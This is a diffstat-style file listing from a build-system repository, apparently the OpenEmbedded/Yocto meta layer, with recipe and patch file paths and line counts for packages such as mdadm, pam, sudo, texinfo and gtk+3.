-rw-r--r--meta/recipes-extended/man-pages/man-pages_5.13.bb36
-rw-r--r--meta/recipes-extended/mc/files/0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch87
-rw-r--r--meta/recipes-extended/mc/files/nomandate.patch33
-rw-r--r--meta/recipes-extended/mc/mc_4.8.23.bb49
-rw-r--r--meta/recipes-extended/mc/mc_4.8.27.bb63
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch31
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Fix-parsing-of-r-in-monitor-manager-mode.patch74
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch30
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch2
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch2
-rw-r--r--meta/recipes-extended/mdadm/files/debian-no-Werror.patch19
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch43
-rw-r--r--meta/recipes-extended/mdadm/files/run-ptest5
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.1.bb106
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.2.bb110
-rw-r--r--meta/recipes-extended/mingetty/mingetty_1.08.bb5
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch35
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch47
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch32
-rw-r--r--meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch37
-rw-r--r--meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch42
-rw-r--r--meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch17
-rw-r--r--meta/recipes-extended/minicom/minicom_2.7.1.bb28
-rw-r--r--meta/recipes-extended/minicom/minicom_2.8.bb28
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.19.bb27
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.6.bb28
-rw-r--r--meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch87
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch15
-rw-r--r--meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch32
-rw-r--r--meta/recipes-extended/net-tools/net-tools/musl-fixes.patch100
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch635
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch28
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch363
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch52
-rw-r--r--meta/recipes-extended/net-tools/net-tools_1.60-26.bb131
-rw-r--r--meta/recipes-extended/net-tools/net-tools_2.10.bb121
-rw-r--r--meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch29
-rw-r--r--meta/recipes-extended/newt/files/pie-flags.patch41
-rw-r--r--meta/recipes-extended/newt/libnewt_0.52.21.bb20
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb6
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb56
-rw-r--r--meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch68
-rw-r--r--meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch65
-rw-r--r--meta/recipes-extended/pam/libpam/crypt_configure.patch40
-rw-r--r--meta/recipes-extended/pam/libpam/fixsepbuild.patch24
-rw-r--r--meta/recipes-extended/pam/libpam/include_paths_header.patch59
-rw-r--r--meta/recipes-extended/pam/libpam/libpam-xtests.patch2
-rw-r--r--meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch203
-rw-r--r--meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch195
-rw-r--r--meta/recipes-extended/pam/libpam/pam-volatiles.conf1
-rw-r--r--meta/recipes-extended/pam/libpam/pam.d/common-password5
-rw-r--r--meta/recipes-extended/pam/libpam/run-ptest32
-rw-r--r--meta/recipes-extended/pam/libpam_1.3.1.bb167
-rw-r--r--meta/recipes-extended/pam/libpam_1.5.2.bb185
-rw-r--r--meta/recipes-extended/parted/files/0001-Include-fcntl.h-in-platform_defs.h.patch33
-rw-r--r--meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch44
-rw-r--r--meta/recipes-extended/parted/files/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-extended/parted/files/0001-libparted-Use-read-only-when-probing-devices-on-linu.patch222
-rw-r--r--meta/recipes-extended/parted/files/0001-linux-Include-sys-sysmacros.h-for-major-macro.patch28
-rw-r--r--meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch34
-rw-r--r--meta/recipes-extended/parted/files/Makefile285
-rw-r--r--meta/recipes-extended/parted/files/check-vfat.patch51
-rw-r--r--meta/recipes-extended/parted/files/dm_check.patch22
-rw-r--r--meta/recipes-extended/parted/files/fix-compile-failure-while-dis.patch81
-rw-r--r--meta/recipes-extended/parted/files/no_check.patch20
-rw-r--r--meta/recipes-extended/parted/files/run-ptest6
-rw-r--r--meta/recipes-extended/parted/parted_3.2.bb56
-rw-r--r--meta/recipes-extended/parted/parted_3.4.bb62
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb8
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb20
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb21
-rw-r--r--meta/recipes-extended/perl/libtimedate-perl_2.30.bb8
-rw-r--r--meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb4
-rw-r--r--meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb6
-rw-r--r--meta/recipes-extended/perl/libxml-sax-perl_1.02.bb8
-rw-r--r--meta/recipes-extended/pigz/pigz_2.4.bb49
-rw-r--r--meta/recipes-extended/pigz/pigz_2.7.bb48
-rw-r--r--meta/recipes-extended/procps/procps/0001-Fix-out-of-tree-builds.patch24
-rw-r--r--meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch44
-rw-r--r--meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch23
-rw-r--r--meta/recipes-extended/procps/procps_3.3.15.bb69
-rw-r--r--meta/recipes-extended/procps/procps_3.3.17.bb103
-rw-r--r--meta/recipes-extended/psmisc/psmisc.inc33
-rw-r--r--meta/recipes-extended/psmisc/psmisc/0001-Makefile.am-create-src-directory-before-attempting-t.patch30
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.2.bb10
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.4.bb9
-rw-r--r--meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch34
-rw-r--r--meta/recipes-extended/quota/quota_4.05.bb34
-rw-r--r--meta/recipes-extended/quota/quota_4.06.bb35
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch42
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf2
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.service12
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.socket8
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch58
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb61
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb55
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb16
-rw-r--r--meta/recipes-extended/screen/screen_4.7.0.bb49
-rw-r--r--meta/recipes-extended/screen/screen_4.9.0.bb49
-rw-r--r--meta/recipes-extended/sed/sed-4.2.2/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-extended/sed/sed-4.2.2/run-ptest3
-rw-r--r--meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch66
-rw-r--r--meta/recipes-extended/sed/sed/run-ptest5
-rw-r--r--meta/recipes-extended/sed/sed_4.2.2.bb53
-rw-r--r--meta/recipes-extended/sed/sed_4.8.bb68
-rw-r--r--meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch135
-rw-r--r--meta/recipes-extended/shadow/files/0001-Make-the-sp_lstchg-shadow-field-reproducible-re.-71.patch89
-rw-r--r--meta/recipes-extended/shadow/files/0001-configure.ac-fix-configure-error-with-dash.patch36
-rw-r--r--meta/recipes-extended/shadow/files/0001-useradd.c-create-parent-directories-when-necessary.patch116
-rw-r--r--meta/recipes-extended/shadow/files/allow-for-setting-password-in-clear-text.patch300
-rw-r--r--meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch15
-rw-r--r--meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch51
-rw-r--r--meta/recipes-extended/shadow/files/useradd8
-rw-r--r--meta/recipes-extended/shadow/shadow-sysroot_4.6.bb7
-rw-r--r--meta/recipes-extended/shadow/shadow.inc78
-rw-r--r--meta/recipes-extended/shadow/shadow_4.11.1.bb11
-rw-r--r--meta/recipes-extended/shadow/shadow_4.6.bb10
-rw-r--r--meta/recipes-extended/slang/slang/terminfo_fixes.patch4
-rw-r--r--meta/recipes-extended/slang/slang_2.3.2.bb10
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch23
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.10.08.bb25
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.13.12.bb24
-rw-r--r--meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch25
-rw-r--r--meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch61
-rw-r--r--meta/recipes-extended/sudo/sudo.inc52
-rw-r--r--meta/recipes-extended/sudo/sudo/0001-Include-sys-types.h-for-id_t-definition.patch34
-rw-r--r--meta/recipes-extended/sudo/sudo/CVE-2019-14287-1.patch178
-rw-r--r--meta/recipes-extended/sudo/sudo/CVE-2019-14287-2.patch112
-rw-r--r--meta/recipes-extended/sudo/sudo_1.8.27.bb42
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.10.bb62
-rw-r--r--meta/recipes-extended/sysklogd/files/0001-Fix-build-with-musl.patch132
-rw-r--r--meta/recipes-extended/sysklogd/files/0001-fix-problems-that-causes-a-segmentation-fault-under-.patch28
-rw-r--r--meta/recipes-extended/sysklogd/files/0002-Make-way-for-respecting-flags-from-environment.patch35
-rw-r--r--meta/recipes-extended/sysklogd/files/klogd.service13
-rw-r--r--meta/recipes-extended/sysklogd/files/no-strip-install.patch17
-rw-r--r--meta/recipes-extended/sysklogd/files/no-vectorization.patch20
-rwxr-xr-xmeta/recipes-extended/sysklogd/files/sysklogd27
-rw-r--r--meta/recipes-extended/sysklogd/files/syslog.conf71
-rw-r--r--meta/recipes-extended/sysklogd/files/syslogd.service14
-rw-r--r--meta/recipes-extended/sysklogd/files/tmpfiles.sysklogd.conf1
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd.inc78
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_1.5.1.bb3
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb56
-rw-r--r--meta/recipes-extended/sysstat/sysstat.inc26
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-Fix-232-Memory-corruption-bug-due-to-Integer-Overflo.patch46
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-Include-needed-headers-explicitly.patch59
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch31
-rw-r--r--meta/recipes-extended/sysstat/sysstat/sysstat.service2
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.1.6.bb10
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.4.5.bb7
-rw-r--r--meta/recipes-extended/tar/tar/musl_dirent.patch19
-rw-r--r--meta/recipes-extended/tar/tar_1.32.bb64
-rw-r--r--meta/recipes-extended/tar/tar_1.34.bb68
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch43
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch5
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb19
-rw-r--r--meta/recipes-extended/texi2html/files/0001-Allow-compiling-out-of-source.patch39
-rw-r--r--meta/recipes-extended/texi2html/texi2html_5.0.bb31
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb11
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch11765
-rw-r--r--meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch23
-rw-r--r--meta/recipes-extended/texinfo/texinfo/link-zip.patch23
-rw-r--r--meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch256
-rw-r--r--meta/recipes-extended/texinfo/texinfo_6.5.bb92
-rw-r--r--meta/recipes-extended/texinfo/texinfo_6.8.bb90
-rw-r--r--meta/recipes-extended/time/time_1.9.bb4
-rw-r--r--meta/recipes-extended/timezone/timezone.inc11
-rw-r--r--meta/recipes-extended/timezone/tzdata.bb354
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch137
-rw-r--r--meta/recipes-extended/unzip/unzip/avoid-strip.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/define-ldflags.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/symlink.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/unzip_optimization.patch127
-rw-r--r--meta/recipes-extended/unzip/unzip_6.0.bb10
-rw-r--r--meta/recipes-extended/watchdog/watchdog-config.bb2
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch32
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch30
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.15.bb72
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.16.bb77
-rw-r--r--meta/recipes-extended/wget/wget.inc10
-rw-r--r--meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch9
-rw-r--r--meta/recipes-extended/wget/wget_1.20.3.bb8
-rw-r--r--meta/recipes-extended/wget/wget_1.21.3.bb7
-rw-r--r--meta/recipes-extended/which/which_2.21.bb12
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch58
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb7
-rw-r--r--meta/recipes-extended/xinetd/xinetd/0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch100
-rw-r--r--meta/recipes-extended/xinetd/xinetd/Disable-services-from-inetd.conf-if-a-service-with-t.patch86
-rw-r--r--meta/recipes-extended/xinetd/xinetd/Various-fixes-from-the-previous-maintainer.patch79
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd-CVE-2013-4342.patch34
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch112
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd.conf11
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb49
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.bb77
-rw-r--r--meta/recipes-extended/xz/xz_5.2.4.bb43
-rw-r--r--meta/recipes-extended/xz/xz_5.2.5.bb45
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch88
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch47
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch34
-rw-r--r--meta/recipes-extended/zip/zip-3.0/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch22
-rw-r--r--meta/recipes-extended/zip/zip_3.0.bb11
-rw-r--r--meta/recipes-extended/zstd/zstd_1.5.2.bb39
-rw-r--r--meta/recipes-gnome/epiphany/epiphany_3.34.1.bb21
-rw-r--r--meta/recipes-gnome/epiphany/epiphany_41.3.bb43
-rw-r--r--meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch8
-rw-r--r--meta/recipes-gnome/epiphany/files/bfbb5f7bab38301d8a4a444173acdae8d9692146.patch35
-rw-r--r--meta/recipes-gnome/epiphany/files/distributor.patch17
-rw-r--r--meta/recipes-gnome/epiphany/files/migrator.patch24
-rw-r--r--meta/recipes-gnome/gcr/gcr/0001-gcr-meson.build-fix-one-parallel-build-failure.patch37
-rw-r--r--meta/recipes-gnome/gcr/gcr/b3ca1d02bb0148ca787ac4aead164d7c8ce2c4d8.patch61
-rw-r--r--meta/recipes-gnome/gcr/gcr_3.34.0.bb35
-rw-r--r--meta/recipes-gnome/gcr/gcr_3.40.0.bb44
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Add-use_prebuilt_tools-option.patch171
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch38
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch28
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch94
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch39
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch28
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.38.2.bb126
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.6.bb128
-rw-r--r--meta/recipes-gnome/gi-docgen/gi-docgen_git.bb22
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch6
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch26
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme_3.34.0.bb41
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme_41.0.bb43
-rw-r--r--meta/recipes-gnome/gnome/gconf/python3.patch60
-rw-r--r--meta/recipes-gnome/gnome/gconf_3.2.6.bb17
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Port-cross-compilation-support-to-meson.patch163
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch10
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-build-Avoid-the-doctemplates-hack.patch219
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-add-a-lib-dirs-envvar-option.patch70
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch28
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-meson.build-disable-tests-when-cross-compiling.patch26
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0003-giscanner-add-use-binary-wrapper-option.patch49
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0004-giscanner-add-a-use-ldd-wrapper-option.patch45
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0005-Prefix-pkg-config-paths-with-PKG_CONFIG_SYSROOT_DIR-.patch39
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection_1.62.0.bb208
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection_1.70.0.bb197
-rw-r--r--meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas/0001-Do-not-skip-gir-installation-for-cross-compiling.patch33
-rw-r--r--meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.34.0.bb18
-rw-r--r--meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_41.0.bb16
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3.inc56
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch47
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch15
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch115
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3_3.24.31.bb17
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3_3.24.8.bb19
-rw-r--r--meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch2
-rw-r--r--meta/recipes-gnome/gtk-doc/gtk-doc_1.32.bb50
-rw-r--r--meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb60
-rw-r--r--meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb6
-rw-r--r--meta/recipes-gnome/json-glib/json-glib_1.4.4.bb33
-rw-r--r--meta/recipes-gnome/json-glib/json-glib_1.6.6.bb32
-rw-r--r--meta/recipes-gnome/libdazzle/libdazzle_3.34.1.bb20
-rw-r--r--meta/recipes-gnome/libdazzle/libdazzle_3.42.0.bb19
-rw-r--r--meta/recipes-gnome/libgudev/libgudev_233.bb23
-rw-r--r--meta/recipes-gnome/libgudev/libgudev_237.bb31
-rw-r--r--meta/recipes-gnome/libhandy/libhandy/0001-Add-private-headers.patch37
-rw-r--r--meta/recipes-gnome/libhandy/libhandy_1.5.0.bb30
-rw-r--r--meta/recipes-gnome/libnotify/libnotify_0.7.8.bb22
-rw-r--r--meta/recipes-gnome/libnotify/libnotify_0.7.9.bb38
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch35
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch47
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch51
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/gtk-option.patch60
-rw-r--r--meta/recipes-gnome/librsvg/librsvg_2.40.20.bb49
-rw-r--r--meta/recipes-gnome/librsvg/librsvg_2.52.7.bb75
-rw-r--r--meta/recipes-gnome/libsecret/libsecret_0.19.1.bb27
-rw-r--r--meta/recipes-gnome/libsecret/libsecret_0.20.5.bb26
-rw-r--r--meta/recipes-graphics/builder/builder_0.1.bb6
-rw-r--r--meta/recipes-graphics/cairo/cairo/CVE-2020-35492.patch60
-rw-r--r--meta/recipes-graphics/cairo/cairo_1.16.0.bb47
-rw-r--r--meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb18
-rw-r--r--meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb25
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0.inc46
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch143
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch19
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch32
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/run-ptest3
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0_1.26.2.bb10
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0.inc17
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch33
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb7
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0.inc18
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch37
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb7
-rw-r--r--meta/recipes-graphics/cogl/cogl-1.0.inc80
-rw-r--r--meta/recipes-graphics/cogl/cogl-1.0_1.22.4.bb6
-rw-r--r--meta/recipes-graphics/drm/libdrm/musl-ioctl.patch35
-rw-r--r--meta/recipes-graphics/drm/libdrm_2.4.100.bb60
-rw-r--r--meta/recipes-graphics/drm/libdrm_2.4.110.bb60
-rw-r--r--meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb22
-rw-r--r--meta/recipes-graphics/freetype/freetype/use-right-libtool.patch14
-rw-r--r--meta/recipes-graphics/freetype/freetype_2.10.1.bb47
-rw-r--r--meta/recipes-graphics/freetype/freetype_2.11.1.bb44
-rw-r--r--meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch56
-rw-r--r--meta/recipes-graphics/glew/glew/0001-Fixed-compilation-with-current-mesa-versions.patch73
-rw-r--r--meta/recipes-graphics/glew/glew/no-strip.patch2
-rw-r--r--meta/recipes-graphics/glew/glew/notempdir.patch21
-rw-r--r--meta/recipes-graphics/glew/glew_2.1.0.bb45
-rw-r--r--meta/recipes-graphics/glew/glew_2.2.0.bb46
-rw-r--r--meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch47
-rw-r--r--meta/recipes-graphics/glslang/glslang_1.3.204.1.bb32
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz_2.6.1.bb40
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz_4.0.1.bb48
-rw-r--r--meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools/0001-lib-meson.build-fix-meson-0.60-compatibility.patch24
-rw-r--r--meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb53
-rw-r--r--meta/recipes-graphics/images/core-image-clutter.bb15
-rw-r--r--meta/recipes-graphics/images/core-image-weston-sdk.bb15
-rw-r--r--meta/recipes-graphics/images/core-image-weston.bb10
-rw-r--r--meta/recipes-graphics/images/core-image-x11.bb2
-rw-r--r--meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch10
-rw-r--r--meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.3.bb57
-rw-r--r--meta/recipes-graphics/jpeg/libjpeg-turbo_2.1.3.bb62
-rw-r--r--meta/recipes-graphics/kmscube/kmscube/0001-texturator-Use-correct-GL-extension-header.patch33
-rw-r--r--meta/recipes-graphics/kmscube/kmscube/detect-gst_bo_map-_unmap-and-use-it-or-avoid-it.patch117
-rw-r--r--meta/recipes-graphics/kmscube/kmscube_git.bb20
-rw-r--r--meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch27
-rw-r--r--meta/recipes-graphics/libepoxy/libepoxy_1.5.3.bb38
-rw-r--r--meta/recipes-graphics/libepoxy/libepoxy_1.5.9.bb32
-rw-r--r--meta/recipes-graphics/libfakekey/libfakekey_git.bb6
-rw-r--r--meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb10
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2/0001-Fixed-bug-4538-validate-image-size-when-loading-BMP-.patch34
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2/0001-sdlchecks.cmake-pass-cflags-to-the-appropriate-cmake.patch46
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2/0002-Fixed-bug-4797-SDL-fails-to-compile-with-Mesa-Master.patch41
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2/more-gen-depends.patch60
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2/optional-libunwind-generic.patch18
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2_2.0.10.bb76
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2_2.0.20.bb77
-rw-r--r--meta/recipes-graphics/libva/libva-initial_2.14.0.bb8
-rw-r--r--meta/recipes-graphics/libva/libva-utils/0001-Build-sfcsample-only-when-X11-backend-is-enabled.patch35
-rw-r--r--meta/recipes-graphics/libva/libva-utils_2.14.0.bb32
-rw-r--r--meta/recipes-graphics/libva/libva-utils_2.5.0.bb35
-rw-r--r--meta/recipes-graphics/libva/libva.inc37
-rw-r--r--meta/recipes-graphics/libva/libva_2.14.0.bb15
-rw-r--r--meta/recipes-graphics/libva/libva_2.5.0.bb46
-rw-r--r--meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb7
-rw-r--r--meta/recipes-graphics/matchbox-wm/matchbox-wm/0001-Fix-build-with-gcc-10.patch41
